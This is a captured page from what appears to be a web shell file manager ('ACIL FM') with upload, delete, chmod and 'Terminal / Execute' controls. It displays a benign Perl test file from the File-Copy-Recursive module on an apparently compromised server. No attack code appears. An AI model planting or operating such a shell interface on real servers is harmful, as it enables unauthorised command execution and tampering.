ACIL FM
Dark
Refresh
Current DIR:
/home/.cpan/build/File-Copy-Recursive-0.45-0/t
/
home
.cpan
build
File-Copy-Recursive-0.45-0
t
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
00.load.t
69 B
chmod
View
DL
Edit
Rename
Delete
01.legacy.t
14.66 MB
chmod
View
DL
Edit
Rename
Delete
02.legacy-symtogsafe.t
4.54 MB
chmod
View
DL
Edit
Rename
Delete
03.github-issue-5.t
701 B
chmod
View
DL
Edit
Rename
Delete
04.readonly-dir.t
978 B
chmod
View
DL
Edit
Rename
Delete
05.legacy-pathmk_unc.t
2.34 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/.cpan/build/File-Copy-Recursive-0.45-0/t/04.readonly-dir.t
use strict; use warnings; use Test::More 0.88; use Test::Warnings 'warnings'; use Test::Deep; use File::Temp; use Path::Tiny; use File::Copy::Recursive 'dircopy'; if ( $^O eq 'MSWin32' ) { plan skip_all => "test uses chmod which may or may not do what we want here, patches welcome!"; } my $dir = File::Temp->newdir; for my $pth (qw(src/ src/top src/top/sub1 src/top/sub2)) { mkdir "$dir/$pth"; } path("$dir/src/top/sub1/file1.2")->spew("hello-1.2"); path("$dir/src/top/sub2/file2.2")->spew("hello-2.2"); path("$dir/src/top/sub2/file2.1")->spew(""); `chmod -w $dir/src/top/sub2`; SKIP: { skip "test read only", 3, if -w "$dir/src/top/sub2"; my @warnings = warnings { dircopy( "$dir/src", "$dir/dest" ) }; is( scalar( path("$dir/src/top/sub2")->children ), 2, "readonly direct0ry contents are copied" ); is( scalar( path("$dir/src/top/sub1")->children ), 1, "writable directory contents are copied" ); } `chmod +w $dir/src/top/sub2`; done_testing;
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply